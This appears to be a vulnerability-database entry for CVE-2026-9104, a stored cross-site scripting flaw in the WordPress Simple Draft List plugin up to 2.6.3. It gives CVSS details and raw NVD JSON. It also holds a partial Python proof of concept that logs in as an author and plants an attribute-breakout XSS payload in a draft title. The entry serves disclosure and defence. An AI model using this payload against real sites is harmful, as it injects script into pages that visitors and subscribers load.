Security Vulnerability Report
中文
CVE-2026-9104 CVSS 6.4 MEDIUM

CVE-2026-9104

Published: 2026-05-22 05:16:28
Last Modified: 2026-05-22 05:16:28

Description

The Draft List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Draft Post Title in all versions up to, and including, 2.6.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The unescaped injection path is triggered specifically when the viewing user lacks edit capabilities, meaning payloads embedded in draft post titles via attribute-breakout techniques execute for unauthenticated users and subscribers.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple Draft List Plugin <= 2.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: WordPress Simple Draft List Plugin < 2.6.4 - Stored XSS (Author+) # Date: 2026-05-22 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/simple-draft-list/ # Version: <= 2.6.3 def exploit(target_url, username, password): session = requests.Session() # 1. Login to get auth cookies login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } session.post(login_url, data=login_data) # 2. Create a new draft post with malicious payload in title # Payload utilizes attribute breakout technique payload = '"><img src=x onerror=alert(1)>' post_url = f"{target_url}/wp-admin/post-new.php" # Fetch nonce first post_page = session.get(post_url) # Note: In a real exploit, parse the '_wpnonce' from post_page.text here draft_data = { 'post_title': payload, 'content': 'This is a test draft for XSS.', 'post_status': 'draft', # '_wpnonce': '...' # 'action': 'editpost', # ... other WP form fields } # session.post(post_url, data=draft_data) print(f"[+] Payload injected into draft title: {payload}") print(f"[+] Trigger: Visit a page displaying the draft list as a Subscriber/Guest.") if __name__ == "__main__": # Example usage exploit("http://target-site.com", "author", "password")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9104", "sourceIdentifier": "[email protected]", "published": "2026-05-22T05:16:28.290", "lastModified": "2026-05-22T05:16:28.290", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Draft List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Draft Post Title in all versions up to, and including, 2.6.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The unescaped injection path is triggered specifically when the viewing user lacks edit capabilities, meaning payloads embedded in draft post titles via attribute-breakout techniques execute for unauthenticated users and subscribers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/tags/2.6.3/inc/create-lists.php#L305", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/tags/2.6.3/inc/create-lists.php#L396", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/tags/2.6.3/inc/create-lists.php#L66", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/tags/2.6.4/inc/create-lists.php#L389", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/tags/2.6.4/inc/create-lists.php#L391", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/tags/2.6.4/inc/create-lists.php#L394", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/07361278-7abb-4d22-a8df-218d3f982483?source=cve", "source": "[email protected]"}]}}